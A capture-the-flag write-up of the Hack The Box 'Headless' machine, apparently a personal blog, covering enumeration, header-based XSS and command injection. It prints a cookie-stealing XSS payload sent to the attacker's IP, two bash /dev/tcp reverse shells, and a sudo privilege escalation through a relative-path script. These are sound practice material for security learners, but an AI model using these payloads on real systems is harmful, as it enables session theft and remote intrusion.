🧛
Acaard
  • WHOAMI
  • writeups
    • HTB Boxes
      • Headless (Easy)
      • Codify (Easy)
      • Builder (Medium)
      • Usage (Easy)
      • Sightless (Easy)
      • Cicada (Easy)
      • Yummy (Hard)
    • TuxCTFv2
      • Vampires Checker (Reverse)
      • wannaGOwithme (Reverse)
      • TuxHouse (Machine)
      • The Lair (web)
      • Die Todten (OSINT)
  • 💻Random but useful
    • Tmux
    • CPTS Review
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation
  1. writeups
  2. HTB Boxes

Headless (Easy)

Easy difficulty Linux box.....

Enumeration

Let's start with usual nmap scan:

Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXBmWeZYo1LR50JTs8iKyICHT76i7+fBPoeiKDXRhzjsfMWruwHrosHoSwRxiqUdaJYLwJgWOv+jFAB45nRQHw=
|   256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICkBEMKoic0Bx5yLYG4DIT5G797lraNQsG5dtyZUl9nW
5000/tcp open  upnp?   syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sat, 20 Jul 2024 14:19:29 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close

So we see ssh and a web server running on port 5000, let's start a directory fuzzing before we go check it, to have some sort of recon running in the background to save time.

 ffuf -u http://10.10.11.8:5000/FUZZ -w /opt/wordlists/directory-list-2.3-small.txt -ic

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.8:5000/FUZZ
 :: Wordlist         : FUZZ: /opt/wordlists/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 68ms]
dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 71ms]

Now let's check the website, which has only one button that leads us to /support and seeing it:

Let's check /dashboard

Nothing in here.... let's get back to the support page.

So we have a contact form, I tried some XSS payload in the "Message" field as "<b>Hello</b>", and I got this:

Exploitation

So we see all headers get displayed in here, and sent for admin, so let's try doing an XSS but in headers.

Will do it in Burp repeater:

POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.8:5000/support
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://10.10.11.8:5000
My-Header: <script>alert(1)</script>
DNT: 1
Connection: close
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1

fname=acaard&lname=acaard&email=acaard%40email.com&phone=01111111111&message=%3Cb%3EHello%3C%2Fb%3E

Trying to send this request to which I added "My-Header" and had an alert in to see if it will be processed, after sending it i did this:

Getting the URL from there and checking it in the browser:

We have a valid XSS, now let's do a payload to steal a cookie, i will modify the value of the header to be:

<script>document.location='http://10.10.14.21/?c='+document.cookie</script>

And I will start a server in my machine and send our request:

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Couple of seconds later we get a hit:

10.10.11.8 - - [20/Jul/2024 16:24:07] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
10.10.11.8 - - [20/Jul/2024 16:24:07] code 404, message File not found

We have a valid admin cookie, let's try it in the dashboard page:

Let's intercept it in Burp and see what we can do.

The date is being sent like this date=2023-09-15 let's try for basic command injection.

Like:

date=2023-09-15;id

And we get this in the response:

Systems are up and running!
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)

So perfect! Let's get a shell by sending:

date=2023-09-15;bash -c "bash -i >& /dev/tcp/10.10.14.21/9001 0>&1"

Don't forget to URL encode your payload.

nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.8] 41266
bash: cannot set terminal process group (1369): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$

Now we have a shell as "dvir".

First i will just stabilize the shell doing:

python3 -c "import pty;pty.spawn('/bin/bash')"
ctrl + z
stty raw -echo;fg 

Now root time.

Privilege Escalation

I will start with checking sudo privileges and i get this:

dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

Let's see what is this "syscheck" file.

dvir@headless:~/app$ file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable

A Bash script, let's check our rights over it.

dvir@headless:~/app$ ls -la /usr/bin/syscheck
-r-xr-xr-x 1 root root 768 Feb  2 16:11 /usr/bin/syscheck

We can read it, so let's do that.

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

In the last if condition we see it will run "initdb.sh" from the current working directory, which might be a bit dangerous, we can make a custom one and make it give us a reverse shell.

So here is what i did:

dvir@headless:~$ nano initdb.sh
dvir@headless:~$ chmod +x initdb.sh 
dvir@headless:~$ cat initdb.sh 
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.21/9002 0>&1

Now just executing the sudo rule, and don't forget to start your listener:

nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.8] 53494
root@headless:/home/dvir# 

We got a root shell.

And that's it for the box!

PreviousHTB BoxesNextCodify (Easy)

Last updated 10 months ago

Happy Hacking :)

🧛
Support page in the website
Showing dashboard in the website
Flagging our XSS payload
Alert worked!
Report generating in the dashboard